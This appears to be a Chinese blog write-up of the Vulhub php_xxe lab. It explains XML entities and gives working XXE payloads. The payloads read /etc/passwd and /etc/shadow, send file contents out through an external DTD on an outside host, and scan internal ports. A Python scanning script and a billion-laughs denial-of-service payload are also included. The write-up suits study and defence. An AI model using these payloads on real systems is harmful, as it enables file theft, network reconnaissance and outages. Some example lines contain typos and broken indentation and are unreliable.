Vulhub-php_xxe

本文详细介绍了PHP中的XXE(XML External Entity)注入漏洞,包括实体概念、外部实体、参数实体的讲解,并通过四个实验展示了XXE注入的不同场景:简单的XXE、使用外部DTD的XXE、Blind OOB XXE和DOS攻击。通过这些实验,揭示了XXE如何读取文件、执行远程命令以及可能导致的拒绝服务风险。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

php_xxe
实体的概念:

命名实体
命名实体(在 XML 规范中也称为内部实体)就是我们在谈论 “实体” 时所指的实体。命名实体在 DTD 或内部子集(即文档中 <!DOCTYPE> 语句的一部分)中声明,php_在文档中用作引用。在 XML 文档解析过程中,实体引用将由它的表示替代。
举例:
这里有DTD的详解

<?xml version="1.0" encoding="utf-8"?> #xml定义,表明了版本以及编码方式
<!DOCTYPE test[ #内部DTD
	<!ELEMENT test ANY> #声明了一个约束元素,任何内容都可以
	<!ENTITY xxe "test"> #一个内部实体,名字是xxe 内容为“test”
]>
<test>
	<name>&xxe;</name>对实体的引用
</test>

外部实体
外部实体表示外部文件的内容。

内部DTD:

<?xml version="1.0" encodiing="utf-8"?>
<!DOCTYPE test[
	<!ELEMENT test ANY>
	<!ENEITY test SYSTEM "file:///etc/passwd">  #这里使用了system
]>
<root>
<name>&test;</name>
</root>

外部DTD:

<!ENTITY % payload SYSTEM "flie:///etc/passwd">
<!ENTITY % test STSTEM "<!ENTITY &#37; pass SYSTEM 'http://test/index.php?test=%payload'>">
 #这是一个叫test.dtd的文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test[
	<!ENTITY % cmd "http://test.dtd">
	%cmd;
	%payload;
	%test;
]>

参数实体:
(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

总结就是实体就相当于c++语言中的一个变量但又不是很相同,它可以存储和传输数据,同时又可以解析其内容。

注意:xml对于大小写敏感,xml中不允许出现%,<,>等等,要使用的话必须要经过转义,xml只能有一个根节点

转载于:添加链接描述

xxe注入的原理:添加链接描述

实验1:简单的xxe

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe(这个xxe是根元素) [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<xxe>
&xxe;
</xxe>

在这里插入图片描述
实验2:使用外部DTD的简单xxe

payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///etc/shadow">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://309k59m623.wicp.vip/test.dtd"> 
%dtd; ]> 

<root>&all;</root>

外部DTD:

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

上面这种方式是因为xml不许出现<>和%,而在外部DTD中则没有这个限制
解析过程:
先解析了%dtd,而dtd引入了一个外部实体,外部实体中又引用了%start,%goodies,%end,这样最终就用<![CDATA[***]]>要输出的文件包裹了起来,就可以读取文件中含有<>的内容了
在这里插入图片描述

实验3:Blind OOB XXE

payload:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://309k59m623.wicp.vip/test.dtd">
%remote;%int;%send;
]>

外部DTD:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> #使用base64对输出的字符进行了编码
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://309k59m623.wicp.vip/test.php?id=%file;'>"> #将前面的输出作为这里get参数的输入,然后再保存于本地的txt文件中

这个用法主要就是针对于没有回显的xxe注入,通过oob的方式将我们要的数据给拿到了,注意在int中声明的参数实体的%要用html进行编码,否则会出现这种情况:
在这里插入图片描述
正确的显示:
在这里插入图片描述
尽管这里出现了warning但是可以看到还是读取到了我们想要的内容:
在这里插入图片描述
这里也可以进行远程命令的执行,但是前提是要安装了excpet扩展
这里也可以进行对于内外网的端口扫描
内网payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ELEMENT test ANY>
<!ENTITY % scan SYSTEM "http://127.0.0.1:81">
%scan;
]>
<root>
<test>4</test>
</root>

在这里插入图片描述
可以看到如果是等待了很久或者 Connection refused那么一般就是没有打开这个端口或者被防火墙过滤了,如果大佬们知道怎么样更好的去扫描端口请给我说一下。
大佬的脚本:

import requests
import base64

#Origtional XML that the server accepts
#<xml>
#    <stuff>user</stuff>
#</xml>


def build_xml(string):
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
    xml = xml + "\r\n" + """<xml>"""
    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
    xml = xml + "\r\n" + """</xml>"""
    send_xml(xml)

def send_xml(xml):
    headers = {'Content-Type': 'application/xml'}
    x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
    coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
    print coded_string
#   print base64.b64decode(coded_string)
for i in range(1, 255):
    try:
        i = str(i)
        ip = '10.0.0.' + i #这里的ip改为你扫描对象内网的ip
        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
        print string
        build_xml(string)
    except:
continue

实验4:DOS攻击

<?xml version="1.0" ?>
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>

分析:
可以看到,首先定义了实体lol 其内容是字符串“lol”,然后在实体lol1中多次引用了lol,实体lol2又多次引用了实体lol1,那么可以看出,每一个实体对于上一个实体的引用都会导致字符串呈现几何级的增长,以至于到最后出现上亿条字符串,从而让服务器拒绝服务。

以上就是我目前能够了解到的知识,对于XML Schema以后再看吧

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值